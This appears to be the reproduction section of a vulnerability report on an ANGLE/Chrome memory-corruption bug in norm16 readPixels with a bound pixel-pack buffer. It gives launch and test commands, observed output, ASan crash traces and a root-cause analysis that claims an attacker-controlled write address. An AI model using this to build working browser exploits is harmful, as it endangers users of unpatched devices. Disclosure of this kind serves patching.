# Reproduction

## Method 1 — Chrome WebGL (Windows + NVIDIA, confirmed GPU process crash)

### Environment
- OS: Windows 10 (19045)
- Chrome: 147.0.7727.102
- GPU: NVIDIA GeForce RTX 5050, driver 32.0.15.9579
- ANGLE backend: OpenGL (`angle=opengl`)

### Repro Command

```bat
set ANGLE_FEATURE_OVERRIDES_ENABLED=readPixelsUsingImplementationColorReadFormatForNorm16
start "" "C:\Program Files\Google\Chrome\Application\chrome.exe" ^
  --user-data-dir=C:\temp\angletest ^
  --use-angle=gl
```

Open `poc.html` in that Chrome instance.

### Why the env var is needed on Windows

On Windows NVIDIA OpenGL, Chrome's driver bug list overrides
`readPixelsUsingImplementationColorReadFormatForNorm16` to Disabled because NVIDIA handles
norm16 readback correctly. The env var re-enables it to simulate the vulnerable condition
present on Android/ChromeOS devices where Chrome cannot disable it (those drivers genuinely
need the workaround).

### Observed Output

```
[OK] EXT_texture_norm16 available.
[OK] R16_EXT FBO complete.
[OK] PIXEL_PACK_BUFFER bound (65544 bytes, offset=65536).
[...] Calling glReadPixels — triggering vulnerable path...
[INFO] No GL error returned to JS.
[DATA] PBO readback: [0x0, 0x0, 0x0, 0x0]         ← zeros: GPU rejected heap addr as PBO offset
[GPU PROCESS CRASH DETECTED] WebGL context lost event fired.
    The GPU process crashed — this confirms the vulnerability triggered.
[GPU PROCESS RESTARTED] WebGL context restored.
```

The all-zero PBO readback confirms the exact bug mechanism:
1. Workaround activated → `tmpPixels` allocated on heap (e.g. `0x6d3781cf9670`)
2. Native `glReadPixels` called with PBO still bound — driver sees heap address as PBO
   byte offset → `GL_INVALID_OPERATION` (offset out of bounds)
3. `tmpPixels` stays zeroed
4. `RearrangeEXTTextureNorm16Pixels` writes zeros to `clientPixels = (GLubyte*)0x10000`
   → access violation in GPU process → Chrome restarts GPU process → context lost

---

## Reproduction Method 2 — ANGLE End-to-End Test (Linux, confirmed ASan crash)

### Environment

- OS: Linux (Ubuntu, kernel 6.8)
- ANGLE build: ASan+Debug (`out/asan`)
- Backend: OpenGL (`ES3_OpenGL`)
- Test binary: `angle_end2end_tests`
- I modified the source code to reach the vulnerable code faster.

### Build

```bash
gn gen out/asan --args='is_debug=true is_asan=true angle_enable_gl=true'
autoninja -C out/asan angle_end2end_tests
```

### Repro Command

```bash
./out/asan/angle_end2end_tests \
  --gtest_filter='ReadPixelsTextureNorm16PBOTest.R16_RGBA/ES3_OpenGL'
```

## What the Test Does

1. Creates a 1×1 `GL_R16_EXT` texture and attaches it to an FBO.
2. Binds a `GL_PIXEL_PACK_BUFFER` of size `offset + 8` bytes (`offset = 4`).
3. Calls `glReadPixels(0, 0, 1, 1, GL_RGBA, GL_UNSIGNED_SHORT, (void*)4)` with the PBO still bound.
4. ANGLE activates the `readPixelsUsingImplementationColorReadFormatForNorm16` workaround
   (always enabled in the GL/GLES backend — `renderergl_utils.cpp:2425`).
5. `readPixelsAllAtOnce` allocates `tmpPixels` on the CPU heap (e.g. `0x6d3781cf9670`).
6. Native `glReadPixels` is called **without clearing `GL_PIXEL_PACK_BUFFER`**.
   The driver interprets the heap address as a PBO byte offset → GPU OOB write at ~heap address.
7. `RearrangeEXTTextureNorm16Pixels` then writes to `clientPixels = (GLubyte*)4`
   → CPU write at address `4 + skip_bytes` → crash.

## ASan Crash 1 (near-null address)

```
ERR: RendererGL.cpp:117 (LogGLDebugMessage): 
	Source: API
	Type: Error
	ID: 0x00000001
	Severity: High
	Message: GL_INVALID_OPERATION in glReadPixels(out of bounds PBO access)
[angle-norm16-verify] rearrange req=0x1908 native=0x1903 type=0x1403 pack_pbo=1 client=0x4 tmp=0x6fe0e5f34590 area=1x1
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1347735==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000024 (pc 0x6fc0e35de6d8 bp 0x7fffbb07c800 sp 0x7fffbb07c720 T0)
    #0 0x6fc0e35de6d8 in rx::(anonymous namespace)::RearrangeEXTTextureNorm16Pixels(gl::Context const*, gl::RectangleImpl<int> const&, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, gl::PixelPackState const&, unsigned char*, unsigned char*) src/libANGLE/renderer/gl/FramebufferGL.cpp:462:32
    #1 0x6fc0e35da890 in rx::FramebufferGL::readPixelsAllAtOnce(gl::Context const*, gl::RectangleImpl<int> const&, unsigned int, unsigned int, unsigned int, gl::PixelPackState const&, unsigned char*, bool) const src/libANGLE/renderer/gl/FramebufferGL.cpp:1766:16
    #2 0x6fc0e35d9653 in rx::FramebufferGL::readPixels(gl::Context const*, gl::RectangleImpl<int> const&, unsigned int, unsigned int, gl::PixelPackState const&, gl::Buffer*, void*) src/libANGLE/renderer/gl/FramebufferGL.cpp:874:12
    #3 0x6fc0e326220b in gl::Framebuffer::readPixels(gl::Context const*, gl::RectangleImpl<int> const&, unsigned int, unsigned int, gl::PixelPackState const&, gl::Buffer*, void*) src/libANGLE/Framebuffer.cpp:1819:22
    #4 0x6fc0e31dfb04 in gl::Context::readPixels(int, int, int, int, unsigned int, unsigned int, void*) src/libANGLE/Context.cpp:5127:32
    #5 0x6fc0e3139d21 in GL_ReadPixels src/libGLESv2/entry_points_gles_2_0_autogen.cpp:4182:22
    #6 0x61604f0843c3 in void (anonymous namespace)::ReadPixelsTextureNorm16PBOTest::test<unsigned short>(unsigned int, unsigned int, unsigned int, int) src/tests/gl_tests/ReadPixelsTest.cpp:980:9
    #7 0x61604f088c2e in (anonymous namespace)::ReadPixelsTextureNorm16PBOTest_R16_RGBA_Test::TestBody() src/tests/gl_tests/ReadPixelsTest.cpp:1013:9
    #8 0x616050690eb7 in testing::Test::Run() third_party/googletest/src/googletest/src/gtest.cc
    #9 0x61605069367f in testing::TestInfo::Run() third_party/googletest/src/googletest/src/gtest.cc:2892:11
    #10 0x616050695516 in testing::TestSuite::Run() third_party/googletest/src/googletest/src/gtest.cc:3070:30
    #11 0x6160506c05a6 in testing::internal::UnitTestImpl::RunAllTests() third_party/googletest/src/googletest/src/gtest.cc:6062:44
    #12 0x6160506bf23a in testing::UnitTest::Run() third_party/googletest/src/googletest/src/gtest.cc
    #13 0x6160506299c0 in angle::TestSuite::run() third_party/googletest/src/googletest/include/gtest/gtest.h:2337:73
    #14 0x6160505fc92a in main src/tests/angle_end2end_tests_main.cpp:85:22
    #15 0x73c0e6a29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

==1347735==Register values:
rax = 0x0000000000000004  rbx = 0x00007fffbb07c720  rcx = 0x0000000000000000  rdx = 0x0000000000000002  
rdi = 0x00006fe0e5f34590  rsi = 0x0000000000000008  rbp = 0x00007fffbb07c800  rsp = 0x00007fffbb07c720  
 r8 = 0x00006fe0e5f34592   r9 = 0x0000000000000000  r10 = 0x000000000000000a  r11 = 0x0000000000000004  
r12 = 0x0000000000000000  r13 = 0x00000df81c9644b3  r14 = 0x00006fc0e4a9aec0  r15 = 0x0000000000000000  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: UNKNOWN SIGNAL src/libANGLE/renderer/gl/FramebufferGL.cpp:462:32 in rx::(anonymous namespace)::RearrangeEXTTextureNorm16Pixels(gl::Context const*, gl::RectangleImpl<int> const&, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, gl::PixelPackState const&, unsigned char*, unsigned char*)
==1347735==ABORTING

```

## ASan Crash 2 (high address — GPU fault propagated to CPU)

```
ERR: RendererGL.cpp:117 (LogGLDebugMessage): 
	Source: API
	Type: Error
	ID: 0x00000001
	Severity: High
	Message: GL_INVALID_OPERATION in glReadPixels(out of bounds PBO access)
[angle-norm16-verify] rearrange req=0x1908 native=0x1903 type=0x1403 pack_pbo=1 client=0x4 tmp=0x7967dad34590 area=1x1
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1347903==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x7977db0f9670 (pc 0x7947d83de6d8 bp 0x7ffe2937a820 sp 0x7ffe2937a740 T0)
    #0 0x7947d83de6d8 in rx::(anonymous namespace)::RearrangeEXTTextureNorm16Pixels(gl::Context const*, gl::RectangleImpl<int> const&, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, gl::PixelPackState const&, unsigned char*, unsigned char*) src/libANGLE/renderer/gl/FramebufferGL.cpp:462:32
    #1 0x7947d83da890 in rx::FramebufferGL::readPixelsAllAtOnce(gl::Context const*, gl::RectangleImpl<int> const&, unsigned int, unsigned int, unsigned int, gl::PixelPackState const&, unsigned char*, bool) const src/libANGLE/renderer/gl/FramebufferGL.cpp:1766:16
    #2 0x7947d83d9653 in rx::FramebufferGL::readPixels(gl::Context const*, gl::RectangleImpl<int> const&, unsigned int, unsigned int, gl::PixelPackState const&, gl::Buffer*, void*) src/libANGLE/renderer/gl/FramebufferGL.cpp:874:12
    #3 0x7947d806220b in gl::Framebuffer::readPixels(gl::Context const*, gl::RectangleImpl<int> const&, unsigned int, unsigned int, gl::PixelPackState const&, gl::Buffer*, void*) src/libANGLE/Framebuffer.cpp:1819:22
    #4 0x7947d7fdfb04 in gl::Context::readPixels(int, int, int, int, unsigned int, unsigned int, void*) src/libANGLE/Context.cpp:5127:32
    #5 0x7947d7f39d21 in GL_ReadPixels src/libGLESv2/entry_points_gles_2_0_autogen.cpp:4182:22
    #6 0x5b421c1123c3 in void (anonymous namespace)::ReadPixelsTextureNorm16PBOTest::test<unsigned short>(unsigned int, unsigned int, unsigned int, int) src/tests/gl_tests/ReadPixelsTest.cpp:980:9
    #7 0x5b421c116c2e in (anonymous namespace)::ReadPixelsTextureNorm16PBOTest_R16_RGBA_Test::TestBody() src/tests/gl_tests/ReadPixelsTest.cpp:1013:9
    #8 0x5b421d71eeb7 in testing::Test::Run() third_party/googletest/src/googletest/src/gtest.cc
    #9 0x5b421d72167f in testing::TestInfo::Run() third_party/googletest/src/googletest/src/gtest.cc:2892:11
    #10 0x5b421d723516 in testing::TestSuite::Run() third_party/googletest/src/googletest/src/gtest.cc:3070:30
    #11 0x5b421d74e5a6 in testing::internal::UnitTestImpl::RunAllTests() third_party/googletest/src/googletest/src/gtest.cc:6062:44
    #12 0x5b421d74d23a in testing::UnitTest::Run() third_party/googletest/src/googletest/src/gtest.cc
    #13 0x5b421d6b79c0 in angle::TestSuite::run() third_party/googletest/src/googletest/include/gtest/gtest.h:2337:73
    #14 0x5b421d68a92a in main src/tests/angle_end2end_tests_main.cpp:85:22
    #15 0x7d47db829d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

==1347903==Register values:
rax = 0x0000000000000004  rbx = 0x00007ffe2937a740  rcx = 0x0000000000000000  rdx = 0x0000000000000002  
rdi = 0x00007967dad34590  rsi = 0x0000000000000008  rbp = 0x00007ffe2937a820  rsp = 0x00007ffe2937a740  
 r8 = 0x00007967dad34592   r9 = 0x0000000000000000  r10 = 0x000000000000000a  r11 = 0x0000000000000004  
r12 = 0x0000000000000000  r13 = 0x00000f28fb3244b3  r14 = 0x00007947d989b1c0  r15 = 0x0000000000000000  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: UNKNOWN SIGNAL src/libANGLE/renderer/gl/FramebufferGL.cpp:462:32 in rx::(anonymous namespace)::RearrangeEXTTextureNorm16Pixels(gl::Context const*, gl::RectangleImpl<int> const&, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, gl::PixelPackState const&, unsigned char*, unsigned char*)
==1347903==ABORTING

```

## Key Observation

The two ASan crashes above are from **Method 2** (ANGLE end-to-end test with `offset=4` hardcoded
in the test code). They illustrate both manifestations of the same root cause:

- **Near-null** (e.g. `0x24`): CPU write to `clientPixels + originalReadFormatSkipBytes`
  where `clientPixels = (GLubyte*)4` (the PBO offset passed to `glReadPixels`).
- **~Heap address** (e.g. `0x7977db0f9670`): GPU fault from writing to PBO at offset = heap
  virtual address of `tmpPixels`; ASan reports the faulting address as UNKNOWN SIGNAL.

In **Method 1** (Chrome WebGL PoC, `PBO_OFFSET=0x10000`), the CPU write lands at address
`0x10000` in the GPU process — not near-null — demonstrating attacker-controlled write destination.

All originate from the same root cause — stale `GL_PIXEL_PACK_BUFFER` binding.
